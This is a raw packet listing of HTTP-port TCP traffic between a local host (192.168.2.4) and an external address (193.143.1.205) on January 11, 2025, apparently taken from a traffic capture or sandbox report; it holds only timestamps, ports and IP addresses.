Jan 11, 2025 03:14:39.475805044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.475843906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.475856066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.475887060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.475919962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.475924969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.476001978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.476035118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.476042986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.478188038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504144907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504215956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504251003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504252911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504285097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504300117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504337072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504369020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504379034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504405022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504436970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504447937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504487038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504518986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504533052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504551888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504585981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504590988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504679918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504712105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504720926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504744053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504776001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504805088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504812002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504854918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.504908085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.504967928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505001068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505017042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505033970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505069017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505074978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505371094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505403042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505415916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505435944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505469084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505475998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505501032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505533934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505539894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505701065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505733013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505742073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505765915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505799055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505804062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505831003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505862951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505872965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505896091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505928040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.505934954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.505961895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506002903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.506314039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506362915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506395102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506405115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.506428003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506459951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506467104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.506490946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506524086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506529093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.506555080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506591082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506594896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.506906033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506938934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.506947994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.506975889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507014990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.507023096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507055044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507086039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507092953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.507118940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507150888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507160902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.507183075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507221937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.507231951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507266045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507297993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507306099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.507359028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507400036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.507925987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507958889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.507989883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508001089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508023024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508054972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508064985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508085966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508119106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508126020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508150101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508182049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508193016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508213997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508245945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508253098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508276939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508308887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508321047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508343935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508388996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508824110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508857012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508888960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508899927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508922100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508955002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.508963108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.508990049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.509021044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.509031057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.509054899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.509099960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.509207964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.509239912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.509272099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.509279966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.530495882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.532352924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532424927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532444954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.532454967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532496929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.532505989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532553911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532588005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532598972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.532615900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532649040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532653093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.532680988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.532718897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.537301064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537334919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537383080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537415028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537420988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.537447929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537456989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.537481070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537514925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537522078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.537547112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537580013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537590981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.537672997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537717104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.537717104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537750959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537784100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.537789106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.573544979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.573591948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.573609114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.573667049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.573689938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.573693991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.573704958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.573719978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.573738098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.573756933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.573781013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.573945045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.574034929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.574048996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.574063063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.574074984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.574076891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.574091911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.574096918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.574105978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.574124098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.589560986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.596416950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596452951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596461058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.596467972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596498013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.596524954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596539974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596581936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.596663952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596678972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596693993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596708059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.596827984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596842051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596856117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.596865892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.596889973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597012043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597026110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597039938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597058058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597151041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597183943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597260952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597275972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597289085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597301006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597306013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597315073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597330093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597331047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597358942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597604990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597619057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597631931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597645044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597649097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597660065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597673893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.597675085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.597703934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598007917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598022938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598036051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598051071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598054886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598064899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598078966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598089933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598093987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598105907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598110914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598146915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598500967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598515987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598529100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598543882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598556042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598557949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598571062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598576069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598586082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598601103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598608017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598644018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.598916054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598931074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598944902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.598967075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599133015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599148035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599160910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599168062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599184036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599194050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599198103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599211931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599225998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599227905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599240065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599253893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599258900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599267960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599282026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599287033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599318981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599885941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599900007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599914074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599927902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599931002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.599942923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.599958897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601313114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601329088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601345062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601353884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601358891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601380110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601481915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601495981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601510048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601514101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601538897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601659060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601672888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601686001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601701021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601702929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601713896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601728916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601735115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601761103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.601912022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601973057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.601984978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602006912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.602060080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602075100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602089882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602092981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.602123022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.602209091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602222919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602236032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602250099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602252007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.602263927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602283955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.602416039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602430105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602442980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602451086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.602456093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.602477074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.609401941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.624794960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.624815941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.624839067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.624855042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.624870062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.624883890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.624900103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.624954939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.625016928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.625032902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.625051022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.629771948 CET	80	49730	193.143.1.205	192.168.2.4
